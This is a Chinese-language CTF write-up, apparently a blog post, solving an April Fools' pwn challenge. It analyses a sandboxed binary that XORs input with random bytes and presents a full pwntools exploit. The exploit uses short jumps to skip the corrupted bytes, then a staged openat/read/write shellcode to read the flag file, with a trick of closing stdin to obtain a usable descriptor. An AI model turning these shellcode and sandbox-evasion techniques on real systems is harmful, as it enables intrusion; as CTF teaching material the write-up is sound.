愚人节的时候 t1d 在群里扔了两道题,说是愚人节ctf…
做了之后发现自己是愚人了
facker
题目分析
先来看看程序主体逻辑:
en…. 大概读一遍可以确定这是个 orw 题,不过一个巨大的 random 糊在脸上预示着这题可能不太好打,下面有个 encrypt 函数,会一次加密 16 字节,跟进去看看:
这个加密算法分两部分,前半部分可以识别出是个 base64 的 decode,后半部分是用刚才读的随机数异或编码 16 字节的前 12 字节。
一开始想着能不能把 random
给绕了,但是 t1d 肯定防了这个:
fd = open("/dev/random", 0);
for ( i = 0; i != 16; i = strlen(buf) )
read(fd, buf, 0x10uLL);
这个写法会防止读 random 时首字节为空字节导致的截断问题。所以这东西肯定是绕不了了。
再者,关于这个 base64,可以注意到这个 decode 并没有直接在 a1 上做,也就是并没有修改我们输进去的 orw,真正修改 orw 的是后面的异或运算。
(这里我狠狠踩坑了,做题的时候处于逆向习惯一直在想着怎么逆这东西,其实从宏观一点的角度思考就会发现没有修改 orw 的 base64 decode()
我们是完全可以不用理会的)
总结一下,可以输入 66 个字节,前 2 个字节不作处理,之后的 64 个字节分为 4 组,每组只修改了 16 个字节的前 12 个字节。
故可以采用 jmp
短跳转跳过每组里的 12 个字节。
看看文档,用第一个就可以,c
是表示有符号立即数,b
是表示跳的长度占一个字节。
所以可以构造成 eb 0c
,这个短跳转指令占 2 个字节,所以还有两个字节可以用来控制寄存器,构造一个 read syscall 出来。
sub_15A9()
是一个沙箱函数,查看沙箱可以得知题目关了 open
,sendfile
,execve
等函数,不过 read
实际上是打开的,所以用 read
就行。
构造 read syscall 的时候也要根据调试时寄存器的情况注意一下,且由于执行完 syscall 之后如果没有 push shellcode_addr; ret
这种东西,肯定是会接着 read
之后的代码段跑,而前者由于长度限制没有实现可能性,只能把 read syscall 的 rsi 放在 v9 的地址上。
之后二次读入,没有 open
可以用 openat
,打一个 orw 就可以了。
exp
from pwn import *
context.arch = 'amd64'
p = process('./pwn')
if args.G:
gdb.attach(p)
payload = b'\xeb\x0c'
payload += b'a' * 12 + asm("push rdx; pop rsi;") + b'\xeb\x0c'
payload += b'a' * 12 + asm("push rax; pop rdi;") + b'\xeb\x0c'
payload += b'a' * 12 + asm("push rax; pop rdx;") + b'\xeb\x0c'
payload += b'a' * 12 + asm("mov dl, 0xff; syscall")
p.recvuntil(b'>')
# input()
p.send(payload)
# pause()
payload = b'a' * 0x42
payload += asm(shellcraft.close(0))
payload += asm(shellcraft.openat(0, "/home/flower/flag", 0))
payload += asm(shellcraft.read(0, "rbp", 0x100))
payload += asm(shellcraft.write(3, "rbp", 0x100))
# input()
p.send(payload)
p.interactive()
一些 trick
非常踩坑的点是
close(1);
close(2);
程序关了 1 2 的输出流,如果我们直接 openat
的话,这个文件会被分配到到 1 这个文件描述符上,但是这个文件描述符默认是标准输出流,至少会包括终端的标准输出,所以不管之后的 read
的参数填不填 1,都会直接导致阻塞从而程序崩溃。
同时,dup(1)
/ dup2(1,3)
这种操作也是没可能的,因为已经阻塞了。
所以一个 trick 就是直接 close(0)
把标准输入关了,再 openat
后 fd 就是 0,从而正常读入。